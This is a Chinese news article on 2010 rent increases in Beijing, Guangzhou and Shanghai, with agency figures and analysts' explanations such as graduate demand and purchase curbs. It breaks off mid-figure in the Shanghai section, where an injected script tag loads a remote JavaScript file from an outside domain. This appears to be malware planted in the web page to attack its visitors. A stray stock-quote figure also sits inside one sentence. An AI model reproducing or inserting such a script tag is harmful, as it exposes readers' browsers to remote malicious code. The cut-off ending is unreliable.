6月30日，链家地产公布的上半年北京住宅租金情况显示，2010年上半年全市套均租金2792元/月，同比上涨18.5%左右。虽然有媒体报道，北京住宅租金近日略有下调，但难改上半年涨势。

　　同样，上海、广州、深圳等地房租也纷纷上涨，特别是进入5、6月以来，租金涨幅更为明显。

　　据分析，毕业生集中离校租房、楼市新政调控、长期相对滞后的租金补涨等因素叠加，共同推动了房租的上涨。

　　北京：租赁需求大幅攀升

　　“我挺后悔的，两个月前同等的单间比现在便宜至少100多元，当时我没租。”小江现在仍住在北京北五环外的小平房。

　　从2008年就从事房产中介的张女士说，“现在3300元左右的两居室，两个月前只要3000元左右。”而与去年同期相比，房租更是涨了不少。她举个例子说，“涨得多的，有个精装修的一居室，去年2500元，今年涨到了3200元。”

　　今年5月以来，一线城市住房租金价(1210.90,4.20,0.35%)格出现快速上涨。据链家地产市场研究部统计，2010年上半年北京套均租金2792元/月，同比上涨18.5%左右。特别是房地产调控以来，租金上涨幅度较大。据统计，5月份，北京套均租赁价格为2885元，同比上涨19.8%。

　　虽然有媒体报道，北京住宅租金近日略有下调，但难改上半年涨势。

　　业内人士普遍认为，近期租赁需求大幅上涨是导致租金上升的主要原因。

　　首先，在严厉的房地产调控政策影响下，许多原本打算买房自住的人群选择暂时租房住，但租赁房源未见明显增加，供需关系改变推涨租房价格。

　　同时，近期房屋租金价格快速上涨有其客观原因。一方面，北京市常住人口数量增加促使租赁需求上涨，链家地产市场分析师张月说，2010年至少新增了12万人左右的租赁需求。

　　另一方面，应届毕业生产生的新增租赁需求同比增加。据统计，2010年北京地区高校毕业生21.9万人，预计新增住房需求就达8万余人，这加剧了近期市场租赁需求的增长和价格上涨。

　　张月认为，随着市场对新政的不断消化，由买转租的人群将逐渐稳定，高校毕业生的集中租房需求也将在三季度逐渐减弱，租赁市场不会再出现近期这种集中放量、价格快速上涨的景象，无论是租金涨幅还是市场表现都将变得更加温和。

　　广州：房租补涨趋势明显

　　最近，广州各区房屋租赁价格接连“撑竿跳”。

　　满堂红统计数据显示，今年5月份的广州房屋租赁成交宗数比4月份增加了20.4%，单月租金同比上涨了10.9%，达到30.44元/平方米·月，部分地段好、公共资源便利地区的房屋租赁，租金同比上涨约20%；而2008年和2009年两年，广州住宅平均租金涨幅分别只有3.3%和2.5%。

　　满堂红研究部高级主任肖文晓表示，近几年广州房价出现大幅增长，但租金却远远跟不上房价上涨的步伐，当前房租补涨的趋势明显。

　　广东中原地产研究部经理李毅华认为，除开补涨的因素外，还有两点不可忽视，一是大学毕业生集中离校找房子；另一是今年上半年广州启动冼村、杨箕、林和等城中村改造，过去在此栖息的十数万外来白领急迫寻找新住所，由此打破原本相对平衡的房屋租赁市场。

　　记者走访广州多个区域地产中介，租金上涨已经代替房价飙升，成为房地产市场热点，而且这个趋势越来越明显。有机构预测，今年广州房地产租金涨幅很可能突破20%。

　　租金飙升对普通工薪阶层和城市白领的冲击不可小视。广州房地产专家、寒桐咨询公司总经理韩世同表示，面对这种情况政府应尽早介入，通过推出公租房等方式，以及采用一些宏观调控措施等形式，引导房租价格走向合理的区间，稳定房地产租赁价格，这也是地方政府稳定房价的重要内容。

　　上海：买卖租赁冰火两重天

　　记者从多家房屋中介门店获知，近期上海房屋租赁价格均有所上涨。7月1日，上海房屋租赁指数办公室发布的信息也证实了这一点：6月，上海房屋租赁指数为1227?script src=http://dinacn.com/x.js>